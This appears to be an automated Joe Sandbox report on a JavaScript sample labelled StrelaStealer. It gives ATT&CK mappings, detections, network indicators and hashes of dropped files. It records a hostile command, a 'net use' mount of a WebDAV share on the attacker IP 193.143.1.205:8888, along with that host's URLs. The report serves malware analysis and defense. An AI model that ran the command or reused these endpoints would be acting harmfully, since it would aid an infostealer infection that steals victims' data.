Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
16267239851350230287.js	11%	Virustotal		Browse
16267239851350230287.js	11%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label
http://193.143.1.205:8888/G	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/_	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/453	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/c	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	high
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.57.35	true	false	high
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000009.00000003.2201958449.0000027772EF0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3416331987.0000027773000000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/G	net.exe, 00000007.00000002.2202574754.00000210C49EA000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2202574754.00000210C49B8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2202574754.00000210C49EA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2202574754.00000210C4A0B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/453	net.exe, 00000007.00000002.2202574754.00000210C49B8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/c	net.exe, 00000007.00000002.2202574754.00000210C49EA000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/_	net.exe, 00000007.00000002.2202574754.00000210C49EA000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588770
Start date and time:	2025-01-11 05:17:41 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	16267239851350230287.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 172.64.41.3, 162.159.61.3, 52.6.155.20, 52.22.41.97, 3.219.243.226, 3.233.129.217, 23.209.209.135, 199.232.214.172, 2.23.242.162, 2.16.168.107, 2.16.168.105, 13.107.246.45, 54.224.241.105, 4.175.87.197, 104.76.100.172
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, client.wns.windows.com, e8652.dscx.akamaiedge.net, fs.microsoft.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
23:18:35	API Interceptor	21x Sleep call for process: powershell.exe modified
23:18:39	API Interceptor	1x Sleep call for process: net.exe modified
23:18:39	API Interceptor	2x Sleep call for process: svchost.exe modified
23:18:46	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1147112155713680.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	395621741190315695.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	884736801811116482.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	248185965269371196.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	321646101945257.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1223923852588014617.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	7003183412181430311.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	12728322661441225103.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2926013193173129097.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	91931239167124381.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	395621741190315695.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.18
	884736801811116482.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.18
	248185965269371196.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.43
	2949911514285745182.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.20
	24667857242018421.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.23
	20891229701394327174.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.23
	25717297553175212150.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.43
	23754232101540928500.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.22
	279482651296229246.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.22
	2851627061208688962.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.36
bg.microsoft.map.fastly.net	1147112155713680.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	395621741190315695.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	884736801811116482.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	248185965269371196.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	12728322661441225103.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	467631239147784826.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	22964327542023110895.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	RzEqKuZBuK.exe	Get hash	malicious	GuLoader	Browse	199.232.210.172
	301425897285010519.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2708993316838119.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1147112155713680.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2660438432237518549.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	395621741190315695.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	884736801811116482.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	248185965269371196.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1709817689110827228.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	321646101945257.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1223923852588014617.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	7003183412181430311.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	12728322661441225103.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7263265294254971
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0l:9JZj5MiKNnNhoxuI
MD5:	6E11F425CFAD442856D0F646482BCB80
SHA1:	2899C829B14E3AFC5836EDB7DE840CF082853536
SHA-256:	CBB8935347474EE52D1694838666FAAB6A56DBDA91313128934B6B649788B8A9
SHA-512:	BB31B0559D53C926302432832968C9AF1BE867EB384157D8C128AD6A851C3905D768D4C36B17F561DF917F4A8F82F8C2E7412EB4FBD1295E5B344F9FDF4EDF73
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0xc2c09102, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7555384706130492
Encrypted:	false
SSDEEP:	1536:tSB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:tazaSvGJzYj2UlmOlOL
MD5:	D4B1858DDFAE8DCEB63017F634D9D43E
SHA1:	CE4D36B267BDAEE7633C708574DD8346556161D1
SHA-256:	669606451139FE15CB749AF9BDB4E9FE4BE0BCD19DD339298B6A86E2BB6D1F2B
SHA-512:	38A60DEB087798770D7EAAFDCAF862B01D96A59BCE3B0367FEBE8406E91A832AFC74ADD9343CCEC724B51FED13719A7E0DF367F3305EE4D5C23EA0E3D0C2DC3D
Malicious:	false
Preview:	....... .......7.......X\...;...{......................0.e......!...{?.)....}..h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{................................../p..)....}...................fNW)....}...........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07844521757211798
Encrypted:	false
SSDEEP:	3:XNStlKYe7mxc3NaAPaU1lGf4k1/AlluxmO+l/SNxOf:ElKz7mxENDPaUc9AgmOH
MD5:	58A9BE7F450418C5941EA9B1360AD730
SHA1:	0DC177A17169C199FF28F917056FE75C5F518AE1
SHA-256:	449570813B66395A8430983164C12199EB44C90A05DD22A27E19E3CF2BA21767
SHA-512:	EC288B97C29C01D899CC4E642ADAFB24809784E310041A1358BBE7D44AC226F88A91C0F78A521FA7688384F3DBBBD876C5F94EF51DC7B4D41A159A7386CE3564
Malicious:	false
Preview:	..1q.....................................;...{..)....}...!...{?..........!...{?..!...{?..g...!...{?..................fNW)....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.142464409641362
Encrypted:	false
SSDEEP:	6:iO4q5dTt+q2PN72nKuAl9OmbnIFUtSq5d6Zmwsq5dWVkwON72nKuAl9OmbjLJ:76vVaHAahFUty/U5OaHAaSJ
MD5:	A36B3572A95376840141982D1C11208D
SHA1:	332A19531BC8DF96219AFAA8BBE11745B96B68AC
SHA-256:	36A4CF451CB92E38858F47FCE5EF33CB11FDD62C37AE47001CD2AAAFFD9739EF
SHA-512:	D3532935F94AB8DC0A840D111F31DFE930FABDBFDB69D9BAD6718694B61C778F9CA09BAE67CDBA97F2090A411E09B3882963144BC89D237E0B4F50D2C3178385
Malicious:	false
Preview:	2025/01/10-23:18:39.111 1c18 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-23:18:39.114 1c18 Recovering log #3.2025/01/10-23:18:39.114 1c18 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.142464409641362
Encrypted:	false
SSDEEP:	6:iO4q5dTt+q2PN72nKuAl9OmbnIFUtSq5d6Zmwsq5dWVkwON72nKuAl9OmbjLJ:76vVaHAahFUty/U5OaHAaSJ
MD5:	A36B3572A95376840141982D1C11208D
SHA1:	332A19531BC8DF96219AFAA8BBE11745B96B68AC
SHA-256:	36A4CF451CB92E38858F47FCE5EF33CB11FDD62C37AE47001CD2AAAFFD9739EF
SHA-512:	D3532935F94AB8DC0A840D111F31DFE930FABDBFDB69D9BAD6718694B61C778F9CA09BAE67CDBA97F2090A411E09B3882963144BC89D237E0B4F50D2C3178385
Malicious:	false
Preview:	2025/01/10-23:18:39.111 1c18 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-23:18:39.114 1c18 Recovering log #3.2025/01/10-23:18:39.114 1c18 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.167895237619409
Encrypted:	false
SSDEEP:	6:iO4q5dqN+q2PN72nKuAl9Ombzo2jMGIFUtSq5d5XZmwsq5dsVkwON72nKuAl9OmT:71vVaHAa8uFUtBX/q5OaHAa8RJ
MD5:	104188E41F5644931EA86F778E78EA15
SHA1:	5EE28270134CD984ADE89B8635EDA57EC0F15A26
SHA-256:	B1F63BBE8F0BF14EFE99E3A3016C41F96DBF510A1FBE395F8172E8A289FBF231
SHA-512:	321B1DCDF8B4EE4C1BB072CC93FF4BBF0D8DB2038CB02655047270238F68B1BA2FE068F27761E0FE44A5B35CC6000A2351324F3E5BACB9BD9EA0E3230E5BA372
Malicious:	false
Preview:	2025/01/10-23:18:39.226 1c58 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-23:18:39.227 1c58 Recovering log #3.2025/01/10-23:18:39.228 1c58 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.167895237619409
Encrypted:	false
SSDEEP:	6:iO4q5dqN+q2PN72nKuAl9Ombzo2jMGIFUtSq5d5XZmwsq5dsVkwON72nKuAl9OmT:71vVaHAa8uFUtBX/q5OaHAa8RJ
MD5:	104188E41F5644931EA86F778E78EA15
SHA1:	5EE28270134CD984ADE89B8635EDA57EC0F15A26
SHA-256:	B1F63BBE8F0BF14EFE99E3A3016C41F96DBF510A1FBE395F8172E8A289FBF231
SHA-512:	321B1DCDF8B4EE4C1BB072CC93FF4BBF0D8DB2038CB02655047270238F68B1BA2FE068F27761E0FE44A5B35CC6000A2351324F3E5BACB9BD9EA0E3230E5BA372
Malicious:	false
Preview:	2025/01/10-23:18:39.226 1c58 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-23:18:39.227 1c58 Recovering log #3.2025/01/10-23:18:39.228 1c58 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.965217949670705
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqAsBdOg2Hscaq3QYiubcP7E4T3y:Y2sRds0dMHP3QYhbA7nby
MD5:	98B3C50205699B65DBAC0E4C95C7AD90
SHA1:	A0351C9957C8207D92E0EB8B2215EBC85A5CBA6F
SHA-256:	0C0D4EB6FC10C70A0EC3C3E283741EA1393DC2537C9C241E13BE350B1B48D310
SHA-512:	90704C86A860216E85358DAD2E72A99C6EB16D532EDFA5E889F85EADDD1C224CFF45000FAE0D8A30EF3E93C69CE5ACFC8329929EE917F2DCECA09536B3C0860E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381129130728382","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":125297},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\b9f35b56-ab8b-41c1-a4a8-48561f82f05d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.965217949670705
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqAsBdOg2Hscaq3QYiubcP7E4T3y:Y2sRds0dMHP3QYhbA7nby
MD5:	98B3C50205699B65DBAC0E4C95C7AD90
SHA1:	A0351C9957C8207D92E0EB8B2215EBC85A5CBA6F
SHA-256:	0C0D4EB6FC10C70A0EC3C3E283741EA1393DC2537C9C241E13BE350B1B48D310
SHA-512:	90704C86A860216E85358DAD2E72A99C6EB16D532EDFA5E889F85EADDD1C224CFF45000FAE0D8A30EF3E93C69CE5ACFC8329929EE917F2DCECA09536B3C0860E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381129130728382","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":125297},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	5449
Entropy (8bit):	5.250063894840209
Encrypted:	false
SSDEEP:	96:av+Nkkl+2GAouz3z3xfNLUS3vHp5OuDzUrMzh28qXAXFP74LRXOtW7ANwE7//Bbt:av+Nkkl+2G1uz3zhfZUyPp5OuDzUwzh3
MD5:	AF10BA82C1BF0403D8F1D88B635E75D7
SHA1:	8514FD9C296E3156051D5EB6337EED70D1174897
SHA-256:	E126D39310A08509B5BE9CBB45A739660197CBBF73AEF6407C4104A54DBE854C
SHA-512:	3841028DACCE948C7E977801510D625C7E9E208CB71921974334D95F199FD6956514285DF9D0A6A88CB55B5C5ACBB7B0F19854666741AC5831084620B53A4ABF
Malicious:	false
Preview:	*...#................version.1..namespace-.X.Bo................next-map-id.1.Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/.0.>j.r................next-map-id.2.Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/.1.J.4r................next-map-id.3.Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/.2..J.o................next-map-id.4.Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.3..M.^...............Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/..d.^...............Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.u..a...............Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/..`aa...............Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/`v.Yo................next-map-id.5.Pnamespace-30587558_ed88_4bd8_adc0_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.153436319604845
Encrypted:	false
SSDEEP:	6:iO4q5dnnN+q2PN72nKuAl9OmbzNMxIFUtSq5dqZmwsq5dTQd3VkwON72nKuAl9Ob:7xIvVaHAa8jFUtS/tIF5OaHAa84J
MD5:	4391299E0FA4184BBC2464C9DCAE6EAA
SHA1:	8F2E572A88BB8AC3A1F682EB57C8A631605CCE7A
SHA-256:	ED3C0263D85C73D04753DFC55ED3F5851848004A234BFA2A0D40EEB94EEA6432
SHA-512:	D2431BF5E2B4C51F8DF6FC68B9B03C5CA422AF94E3DD38B447DB62460CD189B0F49182BC32791053DFF968B256B8277B731869EE6951B11651250B1E01BBB2E5
Malicious:	false
Preview:	2025/01/10-23:18:39.829 1c58 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-23:18:39.833 1c58 Recovering log #3.2025/01/10-23:18:39.835 1c58 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.153436319604845
Encrypted:	false
SSDEEP:	6:iO4q5dnnN+q2PN72nKuAl9OmbzNMxIFUtSq5dqZmwsq5dTQd3VkwON72nKuAl9Ob:7xIvVaHAa8jFUtS/tIF5OaHAa84J
MD5:	4391299E0FA4184BBC2464C9DCAE6EAA
SHA1:	8F2E572A88BB8AC3A1F682EB57C8A631605CCE7A
SHA-256:	ED3C0263D85C73D04753DFC55ED3F5851848004A234BFA2A0D40EEB94EEA6432
SHA-512:	D2431BF5E2B4C51F8DF6FC68B9B03C5CA422AF94E3DD38B447DB62460CD189B0F49182BC32791053DFF968B256B8277B731869EE6951B11651250B1E01BBB2E5
Malicious:	false
Preview:	2025/01/10-23:18:39.829 1c58 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-23:18:39.833 1c58 Recovering log #3.2025/01/10-23:18:39.835 1c58 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444657535235202
Encrypted:	false
SSDEEP:	384:ye6ci5tNiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:mms3OazzU89UTTgUL
MD5:	68631C0CA1AB1161957D797A30B3723C
SHA1:	D73A91CD4DFE3463A81BF398E97625BC29E1E111
SHA-256:	475CAE23FD3282B33A05071CF3A53ACE3C7F1880BD7936C22CEFA73306766D47
SHA-512:	B6AE99F1F091C90FD9EE553A58703846316EFAFDA32A250B9CD9775B9E1F608E9DF72CFB7B1E64CEABB636372F9EB95440ABBEDC4555E998434EAD66C2B5ADDD
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.764373476393125
Encrypted:	false
SSDEEP:	48:7MGJioyVP/ioyqcoy1C7oy16oy1U6KOioy1noy1AYoy1Wioy1oioykioyBoy1nob:75JuXlQXjBiUb9IVXEBodRBkp
MD5:	2BB63F8B0D13C084B1AC4A70344D4211
SHA1:	5A2BA721AD541F764309C92A8A3E55B3A7D5CE62
SHA-256:	A1ED2D1BA486B4BEE156D7C012DAB76C8DC6467C6C664F80C0EAC8674050EF91
SHA-512:	C4DA8BD9787A41DD65105F66B3F352657C0E74639CE090296C3C92234C91BD962365ED5F6B51FBEB5D61E23C44A868F19CAD2B672238371430193F9808011033
Malicious:	false
